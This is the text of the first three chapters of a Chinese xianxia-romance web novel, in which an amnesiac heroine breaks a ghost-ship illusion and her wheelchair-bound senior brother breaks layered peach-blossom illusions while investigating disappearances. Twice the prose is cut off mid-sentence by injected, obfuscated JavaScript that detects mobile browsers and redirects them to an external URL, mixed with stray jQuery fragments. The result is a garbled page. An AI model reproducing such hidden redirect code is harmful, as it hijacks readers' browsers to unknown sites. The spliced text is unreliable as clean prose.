《穿越后强娶美人师兄》
1. 第 1 章
夜晚,海上明月高悬,夜色浓稠得化不开。
刺骨的寒意混着咸腥的海风,将慕情从一片混沌中惊醒。
她下意识伸手拿剑,指尖却只触到一片冰冷粗糙的木板,沟壑纵横,又黏腻湿滑……
一个激灵,慕情猛地坐起身,环顾四周,满心茫然,不明所以。
眼前是一艘巨大的海船,舱室看起来足有三层楼高,却一点灯火都没有,在惨白的月光下显露出模糊的轮廓,仿佛噬人巨兽。
四下安静得出奇,只听闻脚下船身被浪涛拍打的闷响,隐约夹杂着一些淅淅索索的杂音,细听之下又消失了。
慕情低头看看自己,除了一身衣裳什么也没带,脚上甚至连个袜子都没有,光着的。
……我来这儿干什么来着?
她尝试回忆,脑中却刺痛不已,下意识将身体蜷缩成一团。
一只冰冷有力的手从她身后探出,猛地攥住她的胳膊,将她从地板上拎了起来。
“新来的?跟我走!”
年轻女子声音压得极低,拉着她就跑。
慕情踉跄跟上,眼前是对方破破烂烂的红色裙摆。这颜色红得暗沉,让人看了不太舒服。
“你……”她移开眼,有心想问问怎么回事。
可惜疼劲还没过去,头晕目眩,话都说不出。
红衣女子似乎知她心中所想,低声道:“别问,船工要出来了……先走!”
她的声音带着点颤抖,满是恐惧。
船工?
念头刚起,身后便传来沉重的、令人牙酸的“刺啦——刺啦——”声。
慕情一回头,见到了“船工”真身。
高大的人形怪物步伐缓慢地走出阴影。
它身着肮脏的短打,虬结的肌肉贲张,背后拖着一柄巨大的船锚,发出难听的摩擦声。
那锚上还沾染了许多红色物,不知是油漆还是血迹……
红衣女子也听到动静,脚步一顿,松开了她的手,低声道:
“我挡着,你往刚才的方向跑,会有人接应!”
她说完朝着船工冲了过去,但对方显然不将这点攻击看在眼里,蒲扇般的手一挥,几乎带出破空声。
不过几招,红衣女子便整个倒飞回来,刚好摔在慕情脚边。
“……”
慕情愣了一下,把人扶起来。
对方见她还在原地,急道:“你怎么还不走?!”
慕情没说话,四处看看,从旁边的杂物堆里抽出根生锈的铁棍,在手里掂了一下。
条件简陋,凑合用吧。
怪物嘶吼着,巨锚横扫而来,带着千钧之力!
慕情不闪不避,手中铁棍轻轻一拨。“当”的一声,沉重的船锚被引偏,重重砸在船板上,形成一条深深的沟壑。
电光火石间,她脚尖一点,原地起跳,半空中旋转拧腰,右腿以一个刁钻的角度,狠狠砸向对方的脖颈。
船工反应倒也不慢,迅速握拳,向下锤击慕情的腿。那角度和力度,若是被击中,瞬间就能将骨头打碎。
巨大的体型差下,这一幕无异于蚍蜉撼树,实在令人揪心。
受伤的红衣女子骇然失色,下意识闭上了眼。
“嘭——”
一声沉重的闷响。
预想中骨骼碎裂的场面并未出现。
反倒是那船工拳头落空,庞大的身躯被砸倒在地,但很快又挣扎着爬起。
慕情拎着铁棍再次上前,又是几下干净利落的重击,次次落在要害。
但那怪物像没有痛觉一般,不断地被打倒,又不断站起。
如此反复三四次。
慕情没了耐心,趁着船工倒地,狠狠挥向他粗壮的脖颈。
“噗嗤”
一声沉闷的响。
铁棍锈迹斑斑,既算不上粗壮又无锋利的刃,却如热刀切蜡般丝滑,轻而易举地切断了怪物粗壮的脖颈。
硕大的头颅骨碌碌滚到一边。
慕情扔掉弯曲的铁棍,正要离开,突然感觉脚后跟一痛,低头看去。
掉在旁边的脑袋瞳孔都白了,却还在动,挣扎着咬了她一口。
慕情:“……”
好烦。
她抬起腿,用力往下一跺。
红色的血浆飞溅,染红了白色的衣摆,甚至有几滴飞到了脸颊上。
船工小山一样的身躯终于逐渐消散,化成黑雾融入夜色中。
慕情抬手擦掉脸上的红色,看向那奇怪的红衣女子。
“这位姐姐,你刚才说要带我去哪儿?”
那女子脸色煞白如纸,表情比刚才还要惊恐。
慕情眨眨眼,走近了两步:“你怎么了?别怕,刚才那船工……”
她的话还没说完,那红色身影一颤,蓦地转身消失在了原地。
慕情一愣,追了几步没追上,不禁懊恼地跺脚:
“你跑什么呀?!”
·
现成的线索没了。
慕情只得重整旗鼓,从掉落的锚上拆了截铁链下来,向船舱走去。
与此同时,四周响起越来越多重物拖地的声音。
一个个高大的身影从黑暗中显现出来……
……
约莫半个时辰后。
海船上的所有动静消失,船舱里点起了灯火,照亮了大半个甲板。
慕情坐在船头,双脚放在水中。
硕大的海船孤零零地飘浮在海上,吃水极深,几乎漫过甲板。
浪花不时打在她赤/裸的双足上,冲刷着上面的血迹。
在她身后的船舱门口,男女老少二十几人挤作一团,瑟瑟发抖,大气不敢出。
他们看着眼前的少女。
她看起来分明如此柔弱美丽,一身白衣在夜色中泛着光,气质疏淡,带着点漫不经心,仿佛天上之人落入凡尘。
露在外的手脚,皮肤洁白如雪,细如凝脂,不沾半点烟火气。
可就在刚才,这双手杀了好几个船工,这双脚踩爆了他们的头颅。
这哪里是什么柔弱美人,分明是煞神降世啊!
“你们,为什么会在这里?”
慕情开口,声音裹挟在海风里,显得有些飘忽。
一群人你看看我,我看看你,有人迟疑地回答:“我、我是被抓来的。”
“……我也是。”
“我记得我在海边补渔网,醒来就在这儿了。”
一旦有人开了头,众人就七嘴八舌地说起自己的经历。一个老汉“噗通”跪地,哭嚎起来。
“我们都是良善百姓啊!一辈子没干过坏事儿!鬼娘娘就放了我们吧!”
慕情反应片刻,才意识到他口中的“鬼娘娘”是自己。
“……我不是鬼。”
她抖了抖湿淋淋的裙摆,从甲板上站了起来。衣服和脚上的血迹已经被冲洗得一干二净,不留一丝痕迹。
老汉改口极快,立即道:“仙娘娘!仙娘娘发发慈悲,放我们回家吧,回去我们一定日日香火供奉!”
慕情哭笑不得。
“别怕,我本就是来调查此事……”她说着顿了一下,“的吧?”
众人:“……”
殊不知,慕情心中的崩溃一点也不比他们少。
她脑中空空荡荡,没有一点有用的信息,除了名字,她甚至连自己是谁,哪里人,都一时想不起来了……
直到一个怯怯的声音出现,发出疑问:
“那……你、你是清明司的吗?”
“清明司”三个字如灵光乍现,让慕情眸光一闪,突然记起了自己的身份。
她,慕情,清明司的小师妹。
难怪觉得眼前的一切有些莫名熟悉,以前肯定没少处理过类似的事情。
她看向声音来处。
那是一个十多岁的姑娘,站在人群角落里,眼睛里带着浓浓的希冀。
“听说清明司很厉害,专门负责处理各种特殊案件。你是清明司派来救我们的对不对?”
对上了。
慕情紧绷的心情微松,温声说道:“我是清明司六位命使之一,你们可以叫我慕情。”
姑娘眼睛一亮:“太好了!”
她忍不住拍了拍手,动作间露出身侧的一点影子。
在她旁边还有一人,佝偻着身体,低头藏在阴影中,只露出一截眼熟的暗红色衣服。
慕情眸光微动,留了个心眼。
众人均是大喜,内心的恐惧渐渐散了,纷纷交代出自己知道的信息。
按他们所说,这里应该是东海的某一处海域,靠近东南第一大贸易海港——竭临港。
慕情想不明白,自己怎么会在这儿?
毕竟此处远离京城,一南一北,相距千里。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668815|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>算了,先破了这幻境再说。
早在第一次与船工交手的时候,她就发现,这里并非真实的世界,那怪物船工也只是幻象而已。
“诸位,这里只是一处幻境,那些所谓的‘船工’,不过是你们恐惧滋生的虚影罢了。”
她的声音不大,却清晰地传入每一个人耳中,“而你们……恐怕早已不是活人了。”
一言出,满场皆惊!
“什么?我们死了?!”
“不可能!我明明还能感觉到痛!”
慕情摇头:“你们困在此处这么久,真的见过船工杀人吗?”
“当然!船上每天都死好几个人!我亲眼看到有人被砸成肉饼,那血溅了一地!”
“那人员有减少过吗?”
众人一愣,顿时懵了。
他们互相看看,发现确实都很眼熟。这些面孔里,只有增加的,并没有减少的。
慕情又轻声说道:“你们不饮不食,不觉饥渴,难道不曾怀疑么?”
众人面面相觑,脸上的血色以肉眼可见的速度褪去。
“既已往生,何苦执念于此,自困愁城?”慕情轻叹。
随着众鬼魂的信念崩塌,他们身形开始闪烁,由实转虚。
天空中的惨白月亮也开始扭曲,浮现出蛛网般的裂痕。
慕情一抖腕上的铁链,脚蹬上围栏,迎风踏空而起。
“给我,破!”
链条脱手而出,挟着内力,狠狠撞进夜空中微光闪烁之处。
“嗡——”的一声震响,漆黑的幻境应声破碎。
刺目的白光骤然亮起,慕情从半空落下,稳稳站在甲板上。习惯了黑暗的眼睛被强光刺激,她下意识闭了闭眼。
在这瞬间,身边突然传来异动。
慕情一惊,反应极快地侧身闪避,睁眼就见一柄匕首转了个弯,带着黑光迎面刺来。
她迅速后退拉开距离,发现偷袭者是个二十几岁的年轻男子,身着浅紫色锦衣,并非寻常百姓。
“你是活人?”慕情不解,“为什么偷袭我?”
对方并不答话,飞身追上来,招招狠辣。
更诡异的是,随着幻境破碎,大部分鬼魂已消散,却有几个体格健壮的鬼影,竟调转方向,与那男子一同攻来!
慕情若有所悟,看向男子的眼神变得凌厉。
“你是活人,居然修炼鬼术?”
对方表情狰狞:“臭丫头,多管闲事儿!”
慕情也怒火滔滔:“修炼鬼术,得罪清明司,你真是好大的胆子!”
“呸,什么人也敢冒充清明司,你当我跟那些没见识的乡巴佬一样好糊弄?”
慕情被气笑了。失忆了是挺麻烦,连名号报出去都没人信了。也罢,先打服了再说。
这人显然是个修炼的半吊子,手下鬼仆也是幻境中现收的残魂,生前不过是身体比较健壮的普通人,并不难对付。
他大概是知道幻境破碎之后,自己收鬼的行为必定瞒不住,这才狗急跳墙。
“……不知悔改。”
慕情摸清他的路数,掌风凌厉,不过数招,便将那男子打得吐血倒地,重伤昏迷。
在此期间,周围的景象已尽入眼帘。
此处现实中也有一艘海船,只是显然已废弃多年,规模也小得多,并非飘浮海上,而是搁浅在一个荒凉的海湾。
慕情拎小鸡似的将昏迷的锦衣男子拖到船头,毫不客气地一脚踹了下去,任其“噗通”一声砸在沙滩上。
原本她打算找那红衣女子聊聊,对方显然是整艘船上唯一清醒知道自己已死的鬼。
结果被这不长眼的家伙一打岔,如今环顾周围,哪里还有别鬼的影子?
她有些恼,又有些沮丧,站在原地发了会儿呆,感觉头又疼了起来,意识也开始有些恍惚。
轻拍了拍脑袋,她正要跟着跳下船,周围的雾气突然变得异常浓郁,夹杂着咸湿的海洋气息。
慕情眉头一皱,回头望向黑沉沉的海面,隐约看到什么东西在雾中一闪而过。
“……那是什么?”
一股莫名的、强烈的熟悉感再次涌上心头。
她尚未来得及细想,只觉心神一阵剧烈的恍惚,眼前的海倏然消失。
满目桃花扑面而来,身后传来轻微的机拓转动声。
慕情回头,看到了一个朝思暮想的人……
2. 第 2 章
无名湾,竭临港附近一处荒凉的角落。
群山环抱,地处偏僻,方圆十里内,只有一个叫“旧渔庄”的小渔村勉强沾着点人烟。
这几日,这片僻静之地一反常态地喧嚣起来。
朝廷专门负责特殊案件的神秘组织——清明司,租下了渔村最敞亮的一个院子。
着玄衣的清明使们进进出出,将通往海湾的唯一入口封锁得密不透风,使质朴的渔村里多了一丝肃杀之气。
傍晚,一顶不起眼的青布小轿,由远及近,踏着暮色而来。
领头的黑衣侍卫腰悬长刀,步履沉稳。
“那是……钟侍卫?”
“错不了,月悬大人到了!”
守卫的清明使交换了个眼神,远远便躬身退让,姿态恭谨。
小轿没有丝毫停留,径直穿过村落,碾过山坳,最终停在无名湾那片空旷的海滩上。
远海被残阳泼染成一片熔金,碎星如流萤般闪烁。
但这惊鸿一瞥的璀璨,转瞬便被海湾内蒸腾弥漫的浓白雾气遮盖,只留下令人窒息的混沌。
钟武利落转身,掀开轿帘。
“公子,此处天空晴朗高远,海上却仍迷雾深锁。五爷说得没错,果然有些古怪。”
一个高挑清瘦、皎皎如月般的白衣年轻男子端坐轿中。
南方十月的天气只是微冷,他却已经穿上了毛领披风。一头乌发只用白色丝带松松束起,几缕发丝垂落在银质手炉上方。炉上交叠的手指修长白皙,恍若上好的冷玉雕成。
他微垂着眼帘,视线落在膝头,不知在想什么。直到钟武出声,才缓缓抬眸。
目光透过帘子缝隙,看向眼前的海湾。
病色为他苍白的脸庞添了几分脆弱,却愈发衬得眉如远黛,轮廓清绝,带着一种惊心动魄的秾丽。
“老五学艺不精,是该给他加点功课了。”月悬的声音平淡无波,听不出情绪。
自认愚钝的钟武不敢作声,深怕被五爷牵连,默默从轿子后面推出一张特制的轮椅。
月悬正欲起身,山石后陡然炸开一声亢奋的高呼:
“大师兄——!”
一个黑色身影如离弦之箭,裹挟着风声直扑轿子而来。
月悬眉峰微蹙,身形如鸿羽般轻巧侧移,足尖在轿辕处一点,已翩然落定于轮椅之上。动作行云流水。
那人影扑了个空,收势不及险些栽到轿子里,幸而身法灵活,手掌在底板处一撑,腰身拧转半圈,稳稳落地,姿态倒也称得上潇洒。
他站直了,掸了掸衣襟上的灰尘,语气幽怨得像被负心人抛弃:
“这么久没见,你就一点不想我?”
来人一身利落玄色劲装,皮肤是健康的小麦色,头发高高束起,额前散落着几缕碎发,看起来洒脱不羁。
他虽是抱怨,脸上却带着明朗笑意,左耳上的银质耳坠熠熠生辉。
钟武忍不住打趣:“五爷,您悠着点,公子刚才还说要给你加功课呢。”
此人正是清明司五位命使中的老五,也是无名湾此案的负责人——无心。
“不是吧?!”无心一听,如遭雷击,夸张地一拍大腿,哀嚎出声,“大师兄!亲师兄!手下留情啊!”
月悬声音冷淡:“说正事。”
“行行行……”
无心瞬间收了苦瓜脸,凑到轮椅旁,殷勤地接过推手,一边推着月悬往雾霭沉沉的海边走,一边正色道:
“大师兄快帮我看看,这无名湾到底藏着什么猫腻?我在这鸟不拉屎的地方转了三天,愣是连根毛都没找着。要不是司命罗盘转得跟风车一样,我都要以为是我多疑了。”
月悬望着眼前浓得化不开的雾障,沉默不语。
钟武环顾四周,插了句嘴:“可是奇门遁甲之术?”
“应该不是,要是如此简单,我哪儿还用得着找大师兄?”
无心继续向月悬汇报此案细节。
约半个月前,东海连续出现十几起诡异失踪案。当地清明使查了个底朝天,毫无头绪,案子便一路上报到京城眷王府。
当时王府中几位师兄师姐都不在,只有无心一个人空闲。
他接到任务后亲自前来调查,一直追到无名湾,结果临门一脚却卡住了,只好求助在瑶光谷医病的大师兄。
月悬的目光穿透层层雾气,锁定海湾核心那几乎凝成实质的浓白。
“进去看看。”
越往深处,雾气越是粘稠厚重,几步之外,人影便已模糊难辨,方向感更是彻底迷失。
无心手持罗盘在前面引路。
一行人穿行在浓雾中,竟然异常顺利地抵达了对岸山脚。
“奇怪吧?”无心挠头,一脸困惑,“这海湾偏僻得很,水下遍布暗礁,平日鬼影都没一个。我里外探查多次,实在看不出问题所在。”
月悬:“回头,再走一遍。”
这一次,他们走得慢了许多。
月悬让人沿途捡了一些贝壳握在掌心,不时屈指一弹,贝壳便裹挟着内力破空射向四周的雾气。
贝壳划破空气,发出细细的咻咻声,却尽数落空,仿佛射入虚空之中。
不知走了多久,当月悬再次弹出一枚贝壳时。
“嗡!”
空气中传来一阵极为细微的震荡。
眼前的浓雾如同被无形之手搅动,骤然翻滚、退散。
模糊的景象变得清晰,连那无处不在的海腥气也散了不少。
无心神色一凛,绷紧了神经。
一片柔软轻盈的粉色物体,乘着不知何处拂来的微风,轻轻撞上他的鼻梁。
触感清晰,带着一缕若有若无的、清甜的香气。
无心伸手捏住:“这是……桃花?”
这荒凉的海滩,周围都是嶙峋的山石,灌木都没长几丛,哪里来的桃花?
他抬头望去,心脏猛地一跳。
周遭景象已经彻底改天换地,哪里还是无名湾?
“幻境。”月悬的声音依旧平稳,却多了一丝不易察觉的凝重。
他手腕一翻,一个青瓷小瓶抛入无心怀中。
“莫医师配的清心丸,每人一粒含在舌下,遇到任何事情不要轻举妄动。”
待众人依言准备妥当,才缓步踏入眼前这片如粉色云霞般连绵盛放的桃林。
淡淡的薄雾始终萦绕林间,将一切景物衬得朦胧缥缈,如梦似幻。
极致的静谧中,一缕悠扬的洞箫声穿透花海,由远及近,伴随着女子轻柔空灵的无词哼唱,丝丝缕缕,缠绕心头。
“来了。”无心压低声音,短刀瞬间出鞘,一个箭步抢在月悬之前,循声绕过一株低矮桃树,全身戒备。
然而,前方出现的,并非想象中的凶煞之物。
只有两道模糊的人影,背对着他们。
无心只看了一眼,便僵在原地,猛地扭头看向身边的月悬,表情复杂得难以形容:
“大师兄……你……”
那两人,左侧是位身姿窈窕的粉裙少女,右侧男子……则端坐于一张乌木轮椅之上,白衣胜雪。
虽面目模糊不清,但那清冷孤绝的背影轮廓,无心看了十几年,绝不会认错。
是他大师兄没跑了。
月悬也停下了轮椅,面上却无甚波澜,只冷静地观察四周。
然而,他搭在扶手上的指节,似乎无声地收紧了一瞬。
前方,那粉裙少女突然倾身向前,柔软唇瓣轻轻印在轮椅男子唇角。
无心看得脸颊一热,尴尬地移开了视线,心里默念:
幻境!假的!都是假的!
眼角余光里,月悬抬手折下一朵桃花。
手腕轻抖,那朵桃花化作一道粉色流光,疾射向斜上方一团看似寻常的雾气。
“咔嚓”
仿佛听到一声清晰的碎裂声。
那对紧紧相贴的人影瞬间定格,紧接着如同被打碎的琉璃镜面般,寸寸崩裂、扭曲变形,逐渐消失。
月悬驱动轮椅继续往前,察觉到身边的人没有跟上来,皱眉回头。
“愣着干什么?”
无心回过神,掩饰性地咳了一声,快步跟上前去。
“幻境不是破了吗,怎么这箫声和哼唱声还在?”
“这幻境不知如何形成,层层叠套,虚实相间,所以看到什么都不奇怪。”
月悬的声音清冷如故,目光却若有实质地扫过无心,带着一丝警告。
无心脖子一缩,心虚点头。
第一层幻境破碎,众人凝神戒备,但出乎意料,眼前景象重现,依旧是那两人。
潺潺溪水边,粉衣少女笑靥如花,从男子手中接过一束桃花。
她开心地举高花束,在原地轻盈转了好几个圈。飞扬的裙裾带起落英缤纷,几片花瓣打着旋儿,悄然落在男子膝头的素白衣袍上。
缠绵的箫声里,无心听到月悬熟悉又陌生的声音,带着清浅笑意,轻柔得不可思议。
“落儿,你开心吗?”
无心浑身一个激灵,下意识搓了搓发麻的耳朵,偷眼去瞄自家大师兄。
月悬眉头微微皱起,指尖桃花再次疾射而出,撞进前方的雾气中,前方温馨的画面应声碎裂。
桃林花海在迷雾中隐去,旋即又固执地重现。
这次是在一片及膝深的茂密草甸上。粉衣少女灵巧地跳上那特制的乌木轮椅,熟稔地蜷缩进男子怀中。
她手中举着一个彩色的小风车,迎着微风,“唰唰”欢快地旋转着。
空间中再次回荡起那温柔得简直能溺死人的低语,字字清晰,饱含着浓烈的爱意,与小心翼翼的克制。
“落儿……你喜欢的、想要的,我都会给你。”
那尾音缱绻缠绵,仿佛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668816|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能滴出水来。
无心咂了咂嘴,不等他再细细品味一翻,一朵裹挟着劲风的桃花已破空而至,瞬间将那相依相偎的身影撞得粉碎!
他赶紧绷住快要咧开的嘴角,指间匕首转了个花,心想:啧,大师兄这出手的速度……怕不是有些恼了?
随着时间推移,月悬击破幻境的动作越发迅捷凌厉。
相似的场景走马灯般快速闪过,往往众人视线尚未聚焦,便被各个刁钻角度射出的桃花打得粉碎。
饶是如此,无心还是凭借过人的眼力,捕捉了个大概:
草长莺飞时节,少女牵着风筝线,在银铃般的笑声中从男子面前跑过,脸上洋溢着纯粹、无忧的幸福……
灼灼盛放的桃花树下,少女依偎在男子怀中,仰头红着脸与他缠绵亲吻。两人的手十指相扣,紧紧交握在胸前……
转眼桃花落尽,树上被积雪覆盖,两个人影互相依偎着,坐在湖边遮雨亭中。男子用厚实的披风将少女拢在身前,纵容她调皮地伸出手,去接檐外飘飞的雪花……
……
幻境流转,那个与月悬一模一样的声音,也一遍遍重复着令人心悸的誓言:
“落儿。”
“别闹,落儿……”
“我陪着你,不必害怕。”
“只要你回头,我永远都在。”
“我也喜欢你,喜欢和你一起度过的每一天。”
“此生此世,我都会护着你,宠着你。”
“我愿……以余生,陪你共度。”
……
月悬脸上的神情依旧是惯常的冰雪之色,但眉心已经无意识地蹙成了一个解不开的结。
无心倒是看得津津有味,嘴角忍不住略微上翘。
余下几个清明使眼观鼻鼻观心,大气都不敢出,只觉这气氛比面对妖鬼邪祟还要诡异几分。
一连击破数重幻境,周围桃花依旧,但众人还是敏感地察觉某种微妙的变化悄然发生。
少女身上的衣衫,不知何时褪去了娇嫩的分红,换上了青、白等清冷色调。
她脸上的明媚笑容,也日渐稀少。
更多的时候,她独自唱歌、绘画、起舞、练剑、逗弄路过的野猫……
而黑衣男子始终沉默地坐在轮椅上,守在她身侧,仿佛一道永不褪色的影子。
亲密无间的互动消失了,甜蜜的耳语沉寂了,唯有那若有若无的箫声和女子空灵的哼唱,依旧再来迷离的雾气中固执地回旋、交织。
终于,那快速切换的幻境画面猛地一滞!
场景定格。
一处不知名的高台上,少女身着白衣,正在独舞。
她袖间的轻纱与头上的发带随风翻飞,口中轻声哼唱着什么。
高台另一侧,黑衣男子的轮椅静静停驻。他手中握着一管洞箫,箫声低沉婉转,精准地应和着她每一个旋转、跳跃的节拍。
少女的吟唱,男子的萧音,渐渐与那始终萦绕在背景中的声音相重合。
无心环顾一圈,周围的环境比之前任何一次都要清晰、真实,但看不出这是什么地方。
他心里疑惑不少,但目前看来,这幻境平和得近乎诡异。
他半是试探,半是揶揄地低声说:
“大师兄,你是不是辜负人家姑娘了?”
月悬恍若未闻,他修长的指间捻着四朵粉嫩的桃花,凝神观察着高台上的人影,指尖蓄力,却迟迟未曾射出。
突然,吟唱声和箫声先后停了下来。
少女停在高台边缘,面对着黑衣男子的方向。
无心精神一振,凝耳细听。
一路上光听“大师兄”花样百出的情话了,这姑娘始终沉默如谜,声音只出现在背景的哼唱里。
此刻,她终于要开口了吗?她会说什么?表白?撒娇?还是质问?
众人屏息以待。
却见少女似乎察觉了他们的存在,毫无预兆地侧过头,朝着他们藏身的方向,遥遥望了一眼。
那一眼,空洞、茫然,仿佛穿透了重重迷雾与时空。
紧接着,她身形一晃,竟然如同断线纸鸢般,毫无预兆地向高台之外倒了下去。
白色衣袂纷飞,如同风中摧折的枯叶。
一直凝神注视着高台的月悬,瞳孔一缩。
电光石火间,他左掌在轮椅扶手处狠狠一拍,借着力道腾空而起,瞬间向那坠落的人影迎上去。
与此同时,四朵桃花终于脱手!
咻!咻!咻!咻!
四道粉色流光撕裂空气,精准无比地击中幻境四方无形的节点。
“咔嚓——!”
无形的震荡波如同水波般急速扩散。
就在那抹急速坠落的白衣人影落入他怀中的瞬间。
周围的桃林、高台、乃至整个迷离的世界,如同被投入石子的倒影,轰然崩塌,全部消散。
3. 第 3 章
咸湿的海雾重新灌入鼻腔。
众人重新脚踏实地,回到了无名湾那片湿冷的沙滩。
笼罩海湾的浓雾似乎被之前的冲击驱散了大半,视野骤然开朗,整个荒凉的沙滩第一次完整清晰地袒露在众人面前。
而在他们正前方,一个突兀的庞然大物赫然显形,是一艘破败不堪的海船。
船体被海水经年累月地侵蚀,底舱木板腐朽发黑,上面密密麻麻沾满了寄生的贝类,布满沧桑的裂痕。
这艘大船搁浅在无名湾里,高高翘起的船头像一座漆黑的小山。
月悬抱着人,脚尖在海中锋利的礁石上一点,借力再次腾跃而起,白衣翩迁,无声地落回岸边的乌木轮椅上。
无心按捺不住好奇,凑过去打量他臂弯里的少女。
她脸色白得近乎透明,眼睛紧闭着,纤长的睫毛和额前的碎发都被海边浓重的水汽濡湿,紧贴在细腻的皮肤上。
纵然如此狼狈,也难掩那易碎琉璃般的美貌。
无心啧啧称奇,忍不住又多看了两眼。
少女衣衫本就单薄,被水雾湿透后紧紧粘在身上,隐约勾勒出玲珑曲线和底下莹润的肤色。
无心心头一跳,猛地意识到不妥,连忙别开视线,尴尬地摸了摸鼻尖。
一种说不清道不明的,仿佛冒犯了“大嫂”的诡异错觉油然而生。
月悬显然也察觉到了问题,眉头微不可查地一蹙,单手扯下身上的披风,将人严严实实地裹住。
他转动轮椅,看向身后的下属们。
“来个人接手一下,我上去看看。”他抬头示意那艘漆黑的海船。
几个清明使面面相觑,眼神里都透出为难,脚下如同生了根,谁都没动。
刚才的一幕幕大家可都看见了,谁敢去接这个烫手山芋?
月悬的目光最终落在了无心身上。
无心轻咳一声:“咳,那什么,大师兄你歇着,我上去看也一样!”
话音未落,他足下发力,身影如鹞鹰般拔地而起,几个利落的腾挪,就顺着倾斜的船身翻了上去。
月悬沉声提醒:“这里幻境形成的原因,应该是气,你小心一些。”
无心瞬间明了,用袖子遮了遮口鼻,运起内力挥散了周围残留的雾气。
片刻之后,他探出半边身,冲下方摇了摇头。
“来晚了。”他轻叹了口气,“我粗略数了一下,共二十三具尸体,近期东海附近失踪的人应该都在这儿了。”
月悬问:“死状如何?”
“干尸。”
月悬垂眸,看向怀里唯一的幸存者。
是巧合?还是必然?
这案子古怪,无心有些拿不准,说道:
“尸身上未见其他明显伤痕,大师兄,要不你还是上来看看?”
月悬摇头,看了看越来越昏暗的天色,调转轮椅往回走。
“你带人收尾吧。”
·
入夜,无心抱着厚厚一叠纸,推开了月悬暂居的房门。
“砰”
他把卷宗扔在桌上,哀叹一声。
“终于忙完了,还有这十几份案宗,光是看完都得花一个时辰。”
月悬衣着整齐地坐在窗边,月光勾勒出他清瘦挺拔的侧影。闻言,他嘴角几不可察地弯了一下,声音带着一丝疲惫的温和:“辛苦了。”
他驱动轮椅来到书桌前,拿起卷宗翻看。
无心也就是随口抱怨,很快重振精神,将现场勘察的细节一一道来。
“尸身凌乱散落在甲板和船舱,干瘪得只剩皮包骨,像是被什么东西吸干了精气。舱内除了脚印凌乱,没发现明显血迹,也没找到凶器或者其他可疑物品……”
月悬快速浏览着卷宗,指尖划过一行行记录,沉吟道:“此案,恐怕并非人为。从这些案宗看,行凶者手段透着一股野性的混乱,选择受害者亦无规律可循,更像……随性捕猎。”
无心来了精神,坐直身体:“难道是妖?”
“尚不能定论。”月悬合上卷宗,眉宇间凝着一丝思索。
“那现在怎么办?”无心搓了搓下巴,“要不多派些人手,四处搜查一下,发现异常之处立即去排查,总不能次次都晚它一步。”
月悬没说话,这么做效率太慢了,但除此之外,一时也没有其他更好的办法。
最关键的是,得尽快弄明白它是个什么东西。
他想了想,吩咐道:“往海上找,扩大搜寻范围,重点排查近海岛屿与异常海流区域。”
无心应下了,眼珠一转,打趣道。
“你今天怎么不上船去看看,其实嫂子我也不是不能抱……”
月悬冷冷瞥他一眼。
无心喉咙一哽,把闲话咽了回去:“咳,我是说我在某些方面总是不如你敏锐。”
“有你足够。”月悬说道,“它的杀人方式很特殊,现场估计不会留下多少痕迹。”
无心认同地点头,随即得意地扬起眉毛:“但我还真在甲板上找到了一点打斗痕迹,只是看起来痕迹很新,似乎打得也不激烈。”
月悬捏着纸张的手微顿:“此事,等那姑娘醒了,你去审审她,或许会有答案。”
“说起这个。”无心猛地一拍脑门,快速翻起案宗。
“奇怪,好像没在案卷记录里看到这个落儿姑娘的失踪报案。看她的衣着长相,也不太像是东海这边的本地人。”
月悬指尖轻压在文件上,阻住他的动作:“我看过了,确实没有,此人来历不明,疑点重重,需派人详查其背景。”
“啧……”无心故意拖长了调子,“你说,会不会……她就是凶手?”
月悬不语,眼皮一抬,静静地、没什么情绪地看着他。
无心立刻举手投降:“我知道证据指向不是她,开个玩笑嘛。再说了,那可是二十几具干尸,死状如此可怖,哪是一个柔弱小姑娘干得出来的。”
“身为清明使,以貌取人,更是大忌。”月悬声音不高,却字字敲在无心脑门上。
无心肩膀一垮,瞬间蔫了:“……是,师兄教训得对。”
月悬倒是没有抓着他的错处不放,继续道:“她应当也是被幻境所困的受害者,但身上有诸多疑点,不可轻忽大意。”
“唔……”无心壮着胆子,好奇提问,“大师兄,你……真不认识她吗?今天那幻境里,我瞧着有好几处场景,像极了王府里的‘止院’。”
止院是月悬在眷王府里的住所,其中收藏着不少机密文件,戒备森严,向来不让外人踏足。
可无心观察幻镜中的细节,发现好几个场景都十分眼熟,虽然多了王府没有的桃花,但从大体格局上看,显然是在止院中那棵老石榴树下。
他甚至在那姑娘手上,看到了大师兄母亲的遗物,但幻境解除后就消失了。
月悬皱眉:“我不认识她。”
无心小声嘟囔:“我猜也是,咱们不说天天在一起,隔三差五总能碰个面,你身边有女子我能不知道?”
月悬没接话。
“说不定是暗中调查过你。难不成,仰慕你的姑娘,已经从京城排到这里来了?”无心哀叹。
月悬面无表情,无视了他的调侃:“等明天她醒了,你负责审问。”
·
清晨,宁静的渔村渐渐热闹起来。渔民们扛着渔网,互相吆喝着招呼。
慕情将醒未醒,这些声音渺远得似在天际。
略显沉重的脚步声从中脱颖而出,逐渐靠近,接着门“吱呀”一声打开,空气中飘来食物的香气。
慕情觉得自己饿得像鬼,突然间有了力气,睁眼从床上坐了
